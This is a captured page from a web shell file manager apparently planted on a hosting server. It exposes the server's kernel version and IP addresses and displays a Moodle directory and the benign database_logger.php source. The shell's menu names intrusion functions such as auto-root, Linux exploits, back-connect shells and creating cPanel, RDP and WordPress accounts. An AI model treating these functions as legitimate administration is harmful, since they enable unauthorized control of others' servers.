Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.73
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
classes /
task /
[ HOME SHELL ]
Name
Size
Permission
Action
adhoc_task.php
4.31
KB
-rw-r--r--
analytics_cleanup_task.php
1.73
KB
-rw-r--r--
antivirus_cleanup_task.php
1.91
KB
-rw-r--r--
asynchronous_backup_task.php
3.21
KB
-rw-r--r--
asynchronous_copy_task.php
9.11
KB
-rw-r--r--
asynchronous_restore_task.php
3.15
KB
-rw-r--r--
automated_backup_task.php
1.65
KB
-rw-r--r--
backup_cleanup_task.php
2.5
KB
-rw-r--r--
badges_cron_task.php
3.14
KB
-rw-r--r--
badges_message_task.php
2.17
KB
-rw-r--r--
blog_cron_task.php
2.16
KB
-rw-r--r--
build_installed_themes_task.ph...
1.73
KB
-rw-r--r--
cache_cleanup_task.php
1.38
KB
-rw-r--r--
cache_cron_task.php
1.33
KB
-rw-r--r--
calendar_cron_task.php
2.19
KB
-rw-r--r--
calendar_fix_orphaned_events.p...
2.63
KB
-rw-r--r--
check_for_updates_task.php
1.6
KB
-rw-r--r--
clean_up_deleted_search_area_t...
1.71
KB
-rw-r--r--
complete_plans_task.php
1.89
KB
-rw-r--r--
completion_daily_task.php
6.2
KB
-rw-r--r--
completion_regular_task.php
8.12
KB
-rw-r--r--
context_cleanup_task.php
1.64
KB
-rw-r--r--
course_backup_task.php
4.05
KB
-rw-r--r--
create_contexts_task.php
1.54
KB
-rw-r--r--
database_logger.php
5.55
KB
-rw-r--r--
delete_incomplete_users_task.p...
2.58
KB
-rw-r--r--
delete_unconfirmed_users_task....
2.12
KB
-rw-r--r--
file_temp_cleanup_task.php
4.24
KB
-rw-r--r--
file_trash_cleanup_task.php
1.44
KB
-rw-r--r--
grade_cron_task.php
3.15
KB
-rw-r--r--
grade_history_cleanup_task.php
2.09
KB
-rw-r--r--
h5p_get_content_types_task.php
2.21
KB
-rw-r--r--
legacy_plugin_cron_task.php
7.59
KB
-rw-r--r--
logging_trait.php
3.13
KB
-rw-r--r--
logmanager.php
9.82
KB
-rw-r--r--
manager.php
39.45
KB
-rw-r--r--
messaging_cleanup_task.php
2.72
KB
-rw-r--r--
password_reset_cleanup_task.ph...
1.95
KB
-rw-r--r--
plagiarism_cron_task.php
2.25
KB
-rw-r--r--
portfolio_cron_task.php
2.91
KB
-rw-r--r--
question_preview_cleanup_task....
2.83
KB
-rw-r--r--
question_stats_cleanup_task.ph...
2.11
KB
-rw-r--r--
refresh_mod_calendar_events_ta...
2.74
KB
-rw-r--r--
registration_cron_task.php
1.37
KB
-rw-r--r--
scheduled_task.php
12.4
KB
-rw-r--r--
search_index_task.php
2.27
KB
-rw-r--r--
search_optimize_task.php
1.76
KB
-rw-r--r--
send_failed_login_notification...
7.96
KB
-rw-r--r--
send_new_user_passwords_task.p...
3.25
KB
-rw-r--r--
session_cleanup_task.php
1.76
KB
-rw-r--r--
stats_cron_task.php
2
KB
-rw-r--r--
sync_plans_from_template_cohor...
2.24
KB
-rw-r--r--
tag_cron_task.php
11.28
KB
-rw-r--r--
task_base.php
6
KB
-rw-r--r--
task_log_cleanup_task.php
1.64
KB
-rw-r--r--
task_logger.php
2.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : database_logger.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Database logger for task logging. * * @package core * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\task; defined('MOODLE_INTERNAL') || die(); /** * Database logger for task logging. * * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class database_logger implements task_logger { /** @var int Type constant for a scheduled task */ const TYPE_SCHEDULED = 0; /** @var int Type constant for an adhoc task */ const TYPE_ADHOC = 1; /** * Whether the task is configured and ready to log. * * @return bool */ public static function is_configured() : bool { return true; } /** * Store the log for the specified task. * * @param task_base $task The task that the log belongs to. * @param string $logpath The path to the log on disk * @param bool $failed Whether the task failed * @param int $dbreads The number of DB reads * @param int $dbwrites The number of DB writes * @param float $timestart The start time of the task * @param float $timeend The end time of the task */ public static function store_log_for_task(task_base $task, string $logpath, bool $failed, int $dbreads, int $dbwrites, float $timestart, float $timeend) { global $DB; // Write this log to the database. $logdata = (object) [ 'type' => is_a($task, scheduled_task::class) ? self::TYPE_SCHEDULED : self::TYPE_ADHOC, 'component' => $task->get_component(), 'classname' => get_class($task), 'userid' => 0, 'timestart' => $timestart, 'timeend' => $timeend, 'dbreads' => $dbreads, 'dbwrites' => $dbwrites, 'result' => (int) $failed, 'output' => file_get_contents($logpath), 'hostname' => $task->get_hostname(), 'pid' => $task->get_pid(), ]; if (is_a($task, adhoc_task::class) && $userid = $task->get_userid()) { $logdata->userid = $userid; } $logdata->id = $DB->insert_record('task_log', $logdata); } /** * Whether this task logger has a report available. * * @return bool */ public static function has_log_report() : bool { return true; } /** * Get any URL available for viewing relevant task log reports. * * @param string $classname The task class to fetch for * @return \moodle_url */ public static function get_url_for_task_class(string $classname) : \moodle_url { global $CFG; return new \moodle_url("/{$CFG->admin}/tasklogs.php", [ 'filter' => $classname, ]); } /** * Cleanup old task logs. */ public static function cleanup() { global $CFG, $DB; // Delete logs older than the retention period. $params = [ 'retentionperiod' => time() - $CFG->task_logretention, ]; $logids = $DB->get_fieldset_select('task_log', 'id', 'timestart < :retentionperiod', $params); self::delete_task_logs($logids); // Delete logs to retain a minimum number of logs. $sql = "SELECT classname FROM {task_log} GROUP BY classname HAVING COUNT(classname) > :retaincount"; $params = [ 'retaincount' => $CFG->task_logretainruns, ]; $classes = $DB->get_fieldset_sql($sql, $params); foreach ($classes as $classname) { $notinsql = ""; $params = [ 'classname' => $classname, ]; $retaincount = (int) $CFG->task_logretainruns; if ($retaincount) { $keeplogs = $DB->get_records('task_log', [ 'classname' => $classname, ], 'timestart DESC', 'id', 0, $retaincount); if ($keeplogs) { list($notinsql, $params) = $DB->get_in_or_equal(array_keys($keeplogs), SQL_PARAMS_NAMED, 'p', false); $params['classname'] = $classname; $notinsql = " AND id {$notinsql}"; } } $logids = $DB->get_fieldset_select('task_log', 'id', "classname = :classname {$notinsql}", $params); self::delete_task_logs($logids); } } /** * Delete task logs for the specified logs. * * @param array $logids */ public static function delete_task_logs(array $logids) { global $DB; if (empty($logids)) { return; } $chunks = array_chunk($logids, 1000); foreach ($chunks as $chunk) { $DB->delete_records_list('task_log', 'id', $chunk); } } }
Close